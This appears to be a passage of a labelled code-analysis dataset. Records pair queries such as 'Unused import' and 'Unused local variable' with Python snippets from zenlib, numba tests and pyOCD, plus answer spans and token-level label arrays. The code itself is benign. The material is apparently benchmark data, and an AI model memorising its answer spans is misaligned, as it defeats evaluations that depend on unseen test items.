"Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sender_", "=_", "settings_", "._", "DEF", "AUL", "T", "\\u", "FROM", "\\u", "EMAIL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "consumer_", "._", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "send", "\\u", "mail_", "(_", "\\u_", "(_", "subject_", ")_", ",_", "body_", ",_", "sender_", ",_", "[_", "consumer_", "._", "user_", "._", "email_", "]_", ",_", "fail", "\\u", "silently", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "consumer_", "._", "status_", "==_", "'", "pend", "ing", "'_", "and_", "len_", "(_", "settings_", "._", "ADMINS_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mail", "\\u", "admins_", "(_", "\\u_", "(_", "subject_", ")_", ",_", "body_", ",_", "fail", "\\u", "silently", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "settings_", "._", "DEBUG_", "and_", "consumer_", "._", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Mail", " ", "bei", "ng", " ", "sent", ",", " ", "to", "=", "%", "s", "\"_", "%_", "consumer_", "._", "user_", "._", "email_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Sub", "ject", ":", " ", "%", "s", "\"_", "%_", "\\u_", "(_", "subject_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "body_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
networkdynamics/zenlib/src/zen/algorithms/__init__.py
[ { "content": "from flow import *\nfrom centrality import *\nimport clustering\nfrom components import *\nfrom matching import *\nfrom modularity import *\nfrom properties import *\nfrom shortest_path import *\nfrom spanning import *\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import clustering", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "flow_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "centrali", "ty_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "clustering_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "components_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "matching_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "modula", "rity", "_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "properties_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "short", "est", "\\u", "path_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "spanning", "_", "import_", "*_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
numba/numba/numba/tests/test_random.py
[ { "content": " def test_numpy_logseries(self):\n r = self._follow_numpy(np_state_ptr)\n logseries = jit_unary(\"np.random.logseries\")\n self._check_dist(logseries, r.logseries,\n [(0.1,), (0.99,), (0.9999,)],\n niters=50)\n # Numpy's logseries overflows on 32-bit builds, so instead\n # hardcode Numpy's (correct) output on 64-bit builds.\n r = self._follow_numpy(np_state_ptr, seed=1)\n self.assertEqual([logseries(0.9999999999999) for i in range(10)],\n [2022733531, 77296, 30, 52204, 9341294, 703057324,\n 413147702918, 1870715907, 16009330, 738])\n self.assertRaises(ValueError, logseries, 0.0)\n self.assertRaises(ValueError, logseries, -0.1)\n self.assertRaises(ValueError, logseries, 1.1)", "metadata": "root.TestRandom.test_numpy_logseries", "header": "['class', 'TestRandom', '(', 'BaseTest', ')', ':', '___NEWLINE___', '___NL___', '# NOTE: there may be cascading imprecision issues (e.g. between x87-using', '___NL___', '# C code and SSE-using LLVM code), which is especially brutal for some', '___NL___', '# iterative algorithms with sensitive exit conditions.', '___NL___', '# Therefore we stick to hardcoded integers for seed values.', '___NL___', '___EOS___']", "index": 734 }, { "content": " def test_numpy_standard_t(self):\n # We use CPython's algorithm for the gamma dist and numpy's\n # for the normal dist. Standard T calls both so we can't check\n # against either generator's output.\n r = self._follow_cpython(np_state_ptr)\n standard_t = jit_unary(\"np.random.standard_t\")\n avg = np.mean([standard_t(5) for i in range(5000)])\n # Sanity check\n self.assertLess(abs(avg), 0.5)", "metadata": "root.TestRandom.test_numpy_standard_t", "header": "['class', 'TestRandom', '(', 'BaseTest', ')', ':', '___NEWLINE___', '___NL___', '# NOTE: there may be cascading imprecision issues (e.g. between x87-using', '___NL___', '# C code and SSE-using LLVM code), which is especially brutal for some', '___NL___', '# iterative algorithms with sensitive exit conditions.', '___NL___', '# Therefore we stick to hardcoded integers for seed values.', '___NL___', '___EOS___']", "index": 802 }, { "content": " def _check_choice_3(self, a, pop):\n \"\"\"\n Check choice(a, size, replace) against pop.\n \"\"\"\n cfunc = jit(nopython=True)(numpy_choice3)\n n = len(pop)\n # Final sizes should be close but slightly <= n, so as to stress\n # replacement (or not)\n sizes = [n - 10, (3, (n - 1) // 3)]\n replaces = [True, False]\n\n # Check result shapes\n for size in sizes:\n for replace in [True, False]:\n res = cfunc(a, size, replace)\n expected_shape = size if isinstance(size, tuple) else (size,)\n self.assertEqual(res.shape, expected_shape)\n\n # Check results for replace=True\n for size in sizes:\n self._check_array_results(lambda: cfunc(a, size, True), pop)\n # Check results for replace=False\n for size in sizes:\n self._check_array_results(lambda: cfunc(a, size, False), pop, False)\n\n # Can't ask for more samples than population size with replace=False\n for size in [n + 1, (3, n // 3 + 1)]:\n with self.assertRaises(ValueError):\n cfunc(a, size, False)", "metadata": "root.TestRandomChoice._check_choice_3", "header": "['class', 'TestRandomChoice', '(', 'BaseTest', ')', ':', '___EOS___']", "index": 1153 } ]
[ { "span": "r ", "start_line": 742, "start_column": 8, "end_line": 742, "end_column": 9 }, { "span": "r ", "start_line": 806, "start_column": 8, "end_line": 806, "end_column": 9 }, { "span": "replaces ", "start_line": 1162, "start_column": 8, "end_line": 1162, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Random_", "(_", "Base", "Test_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "there", " ", "may", " ", "be", " ", "cas", "cad", "ing", " ", "impr", "eci", "sion", " ", "issue", "s", " ", "(", "e", ".", "g", ".", " ", "bet", "ween", " ", "x8", "7", "-", "using_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "C", " ", "code", " ", "and", " ", "SSE", "-", "usi", "ng", " ", "LLVM", " ", "code", "),", " ", "whi", "ch", " ", "is", " ", "especial", "ly", " ", "bru", "tal", " ", "for", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "iterative", " ", "algo", "rit", "hms", " ", "with", " ", "sensi", "tiv", "e", " ", "exit", " ", "condition", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", "fore", " ", "we", " ", "stick", " ", "to", " ", "hard", "code", "d", " ", "integ", "ers", " ", "for", " ", "seed", " ", "values", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "nump", "y", "\\u", "logs", "eries", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "self_", "._", "\\u", "follow", "\\u", "numpy_", "(_", "np", "\\u", "state", "\\u", "ptr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs", "eries", "_", "=_", "jit", "\\u", "unary_", "(_", "\"", "np", ".", "random", ".", "logs", "eries", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "check", "\\u", "dist_", "(_", "logs", "eries", "_", ",_", "r_", "._", "logs", "eries", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "0.1_", ",_", ")_", ",_", "(_", "0.99_", ",_", ")_", ",_", "(_", "0.999", "9_", ",_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nite", "rs_", "=_", "50_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Num", "py", "'", "s", " ", "logs", "eries", " ", "overflow", "s", " ", "on", " ", "32", "-", "bit", " ", "builds", ",", " ", "so", " ", "inst", "ead_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hard", "code", " ", "Num", "py", "'", "s", " ", "(", "correct", ")", " ", "output", " ", "on", " ", "64", "-", "bit", " ", "builds", "._", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "self_", "._", "\\u", "follow", "\\u", "numpy_", "(_", "np", "\\u", "state", "\\u", "ptr_", ",_", "seed_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "logs", "eries", "_", "(_", "0.999", "999999999", "9_", ")_", "for_", "i_", "in_", "range_", "(_", "10_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "2022", "733", "531", "_", ",_", "772", "96_", ",_", "30_", ",_", "522", "04_", ",_", "934", "129", "4_", ",_", "703", "057", "324", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "413", "147", "702", "918", "_", ",_", "187", "071", "590", "7_", ",_", "1600", "933", "0_", ",_", "738", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "logs", "eries", "_", ",_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "logs", "eries", "_", ",_", "-_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "logs", "eries", "_", ",_", "1.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Random_", "(_", "Base", "Test_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "there", " ", "may", " ", "be", " ", "cas", "cad", "ing", " ", "impr", "eci", "sion", " ", "issue", "s", " ", "(", "e", ".", "g", ".", " ", "bet", "ween", " ", "x8", "7", "-", "using_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "C", " ", "code", " ", "and", " ", "SSE", "-", "usi", "ng", " ", "LLVM", " ", "code", "),", " ", "whi", "ch", " ", "is", " ", "especial", "ly", " ", "bru", "tal", " ", "for", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "iterative", " ", "algo", "rit", "hms", " ", "with", " ", "sensi", "tiv", "e", " ", "exit", " ", "condition", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", "fore", " ", "we", " ", "stick", " ", "to", " ", "hard", "code", "d", " ", "integ", "ers", " ", "for", " ", "seed", " ", "values", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "nump", "y", "\\u", "standard", "\\u", "t_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "use", " ", "CP", "yth", "on", "'", "s", " ", "algo", "rit", "hm", " ", "for", " ", "the", " ", "gamma", " ", "dist", " ", "and", " ", "nump", "y", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "the", " ", "normal", " ", "dist", ".", " ", " ", "Standard", " ", "T", " ", "calls", " ", "bot", "h", " ", "so", " ", "we", " ", "can", "'", "t", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "against", " ", "eit", "her", " ", "generat", "or", "'", "s", " ", "output", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "self_", "._", "\\u", "follow", "\\u", "cpy", "tho", "n_", "(_", "np", "\\u", "state", "\\u", "ptr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "standard", "\\u", "t_", "=_", "jit", "\\u", "unary_", "(_", "\"", "np", ".", "random", ".", "standard", "\\u", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avg_", "=_", "np_", "._", "mean_", "(_", "[_", "standard", "\\u", "t_", "(_", "5_", ")_", "for_", "i_", "in_", "range_", "(_", "5000_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Less_", "(_", "abs_", "(_", "avg_", ")_", ",_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Random", "Choice_", "(_", "Base", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "choice", "\\u", "3_", "(_", "self_", ",_", "a_", ",_", "pop_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "choice", "(", "a", ",", " ", "size", ",", " ", "replace", ")", " ", "against", " ", "pop", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cfunc_", "=_", "jit_", "(_", "nop", "ython_", "=_", "True_", ")_", "(_", "nump", "y", "\\u", "choice", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "len_", "(_", "pop_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Final", " ", "size", "s", " ", "shou", "ld", " ", "be", " ", "close", " ", "but", " ", "slight", "ly", " ", "<=", " ", "n", ",", " ", "so", " ", "as", " ", "to", " ", "stress_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "replace", "ment", " ", "(", "or", " ", "not", ")_", "\\u\\u\\uNL\\u\\u\\u_", "sizes_", "=_", "[_", "n_", "-_", "10_", ",_", "(_", "3_", ",_", "(_", "n_", "-_", "1_", ")_", "//_", "3_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "replace", "s_", "=_", "[_", "True_", ",_", "False_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "result", " ", "shapes_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "size_", "in_", "sizes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "replace_", "in_", "[_", "True_", ",_", "False_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "cfunc_", "(_", "a_", ",_", "size_", ",_", "replace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "shape_", "=_", "size_", "if_", "isinstance_", "(_", "size_", ",_", "tuple_", ")_", "else_", "(_", "size_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "res_", "._", "shape_", ",_", "expected", "\\u", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "results", " ", "for", " ", "replace", "=", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "size_", "in_", "sizes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "check", "\\u", "array", "\\u", "results_", "(_", "lambda_", ":_", "cfunc_", "(_", "a_", ",_", "size_", ",_", "True_", ")_", ",_", "pop_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "results", " ", "for", " ", "replace", "=", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "size_", "in_", "sizes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "check", "\\u", "array", "\\u", "results_", "(_", "lambda_", ":_", "cfunc_", "(_", "a_", ",_", "size_", ",_", "False_", ")_", ",_", "pop_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Can", "'", "t", " ", "ask", " ", "for", " ", "more", " ", "samples", " ", "than", " ", "popul", "ation", " ", "size", " ", "with", " ", "replace", "=", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "size_", "in_", "[_", "n_", "+_", "1_", ",_", "(_", "3_", ",_", "n_", "//_", "3_", "+_", "1_", ")_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
mbedmicro/pyOCD/pyOCD/flash/flash.py
[ { "content": " def computeCrcs(self, sectors):\n data = []\n\n # Convert address, size pairs into commands\n # for the crc computation algorithm to preform\n for addr, size in sectors:\n size_val = _msb(size)\n addr_val = addr // size\n # Size must be a power of 2\n assert (1 << size_val) == size\n # Address must be a multiple of size\n assert (addr % size) == 0\n val = (size_val << 0) | (addr_val << 16)\n data.append(val)\n\n self.target.writeBlockMemoryAligned32(self.begin_data, data)\n\n # update core register to execute the subroutine\n result = self.callFunctionAndWait(self.flash_algo['analyzer_address'], self.begin_data, len(data))\n\n # Read back the CRCs for each section\n data = self.target.readBlockMemoryAligned32(self.begin_data, len(data))\n return data", "metadata": "root.Flash.computeCrcs", "header": "['class', 'Flash', '(', 'object', ')', ':', '___EOS___']", "index": 121 }, { "content": " def startProgramPageWithBuffer(self, bufferNumber, flashPtr):\n \"\"\"\n Flash one page\n \"\"\"\n assert bufferNumber < len(self.page_buffers), \"Invalid buffer number\"\n\n # get info about this page\n page_info = self.getPageInfo(flashPtr)\n\n # update core register to execute the program_page subroutine\n result = self.callFunction(self.flash_algo['pc_program_page'], flashPtr, page_info.size, self.page_buffers[bufferNumber])", "metadata": "root.Flash.startProgramPageWithBuffer", "header": "['class', 'Flash', '(', 'object', ')', ':', '___EOS___']", "index": 196 }, { "content": " def flashBinary(self, path_file, flashPtr=None, smart_flash=True, chip_erase=None, progress_cb=None, fast_verify=False):\n \"\"\"\n Flash a binary\n \"\"\"\n if flashPtr is None:\n flashPtr = self.getFlashInfo().rom_start\n\n f = open(path_file, \"rb\")\n\n with open(path_file, \"rb\") as f:\n data = f.read()\n data = unpack(str(len(data)) + 'B', data)\n self.flashBlock(flashPtr, data, smart_flash, chip_erase, progress_cb, fast_verify)", "metadata": "root.Flash.flashBinary", "header": "['class', 'Flash', '(', 'object', ')', ':', '___EOS___']", "index": 289 }, { "content": " def waitForCompletion(self):\n while(self.target.getState() == Target.TARGET_RUNNING):\n pass\n\n if self.flash_algo_debug:\n analyzer_supported = self.flash_algo['analyzer_supported']\n\n expected_fp = self.flash_algo['static_base']\n expected_sp = self.flash_algo['begin_stack']\n expected_pc = self.flash_algo['load_address']\n expected_flash_algo = self.flash_algo['instructions']\n if analyzer_supported:\n expected_analyzer = analyzer\n final_fp = self.target.readCoreRegister('r9')\n final_sp = self.target.readCoreRegister('sp')\n final_pc = self.target.readCoreRegister('pc')\n #TODO - uncomment if Read/write and zero init sections can be moved into a separate flash algo section\n #final_flash_algo = self.target.readBlockMemoryAligned32(self.flash_algo['load_address'], len(self.flash_algo['instructions']))\n #if analyzer_supported:\n # final_analyzer = self.target.readBlockMemoryAligned32(self.flash_algo['analyzer_address'], len(analyzer))\n\n error = False\n if final_fp != expected_fp:\n # Frame pointer should not change\n logging.error(\"Frame pointer should be 0x%x but is 0x%x\" % (expected_fp, final_fp))\n error = True\n if final_sp != expected_sp:\n # Stack pointer should return to original value after function call\n logging.error(\"Stack pointer should be 0x%x but is 0x%x\" % (expected_sp, final_sp))\n error = True\n if final_pc != expected_pc:\n # PC should be pointing to breakpoint address\n logging.error(\"PC should be 0x%x but is 0x%x\" % (expected_pc, final_pc))\n error = True\n #TODO - uncomment if Read/write and zero init sections can be moved into a separate flash algo section\n #if not _same(expected_flash_algo, final_flash_algo):\n # logging.error(\"Flash algorithm overwritten!\")\n # error = True\n #if analyzer_supported and not _same(expected_analyzer, final_analyzer):\n # logging.error(\"Analyzer overwritten!\")\n # error = True\n assert error == False\n self.target.setVectorCatchFault(self._vector_catch_enabled)\n self.target.setVectorCatchReset(self._reset_catch_enabled)\n\n return self.target.readCoreRegister('r0')", "metadata": "root.Flash.waitForCompletion", "header": "['class', 'Flash', '(', 'object', ')', ':', '___EOS___']", "index": 348 } ]
[ { "span": "result ", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 14 }, { "span": "result ", "start_line": 206, "start_column": 8, "end_line": 206, "end_column": 14 }, { "span": "f ", "start_line": 296, "start_column": 8, "end_line": 296, "end_column": 9 }, { "span": "expected_flash_algo ", "start_line": 358, "start_column": 12, "end_line": 358, "end_column": 31 }, { "span": "expected_analyzer ", "start_line": 360, "start_column": 16, "end_line": 360, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Fla", "sh_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Cr", "cs_", "(_", "self_", ",_", "sectors", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Convert", " ", "address", ",", " ", "size", " ", "pair", "s", " ", "int", "o", " ", "commands_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "the", " ", "crc", " ", "computation", " ", "algo", "rit", "hm", " ", "to", " ", "pref", "orm_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "addr_", ",_", "size_", "in_", "sectors", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "size", "\\u", "val_", "=_", "\\u", "msb", "_", "(_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "addr", "\\u", "val_", "=_", "addr_", "//_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Size", " ", "must", " ", "be", " ", "a", " ", "power", " ", "of", " ", "2_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "(_", "1_", "<<_", "size", "\\u", "val_", ")_", "==_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Address", " ", "must", " ", "be", " ", "a", " ", "multiple", " ", "of", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "(_", "addr_", "%_", "size_", ")_", "==_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "val_", "=_", "(_", "size", "\\u", "val_", "<<_", "0_", ")_", "|_", "(_", "addr", "\\u", "val_", "<<_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "._", "append_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "target_", "._", "write", "Block", "Memo", "ry", "Aligned", "32_", "(_", "self_", "._", "begin", "\\u", "data_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "core", " ", "register", " ", "to", " ", "execute", " ", "the", " ", "subro", "utine", "_", "\\u\\u\\uNL\\u\\u\\u_", "result_", "=_", "self_", "._", "call", "Function", "And", "Wait_", "(_", "self_", "._", "flash", "\\u", "algo_", "[_", "'", "analyze", "r", "\\u", "address", "'_", "]_", ",_", "self_", "._", "begin", "\\u", "data_", ",_", "len_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Read", " ", "back", " ", "the", " ", "CR", "Cs", " ", "for", " ", "each", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "self_", "._", 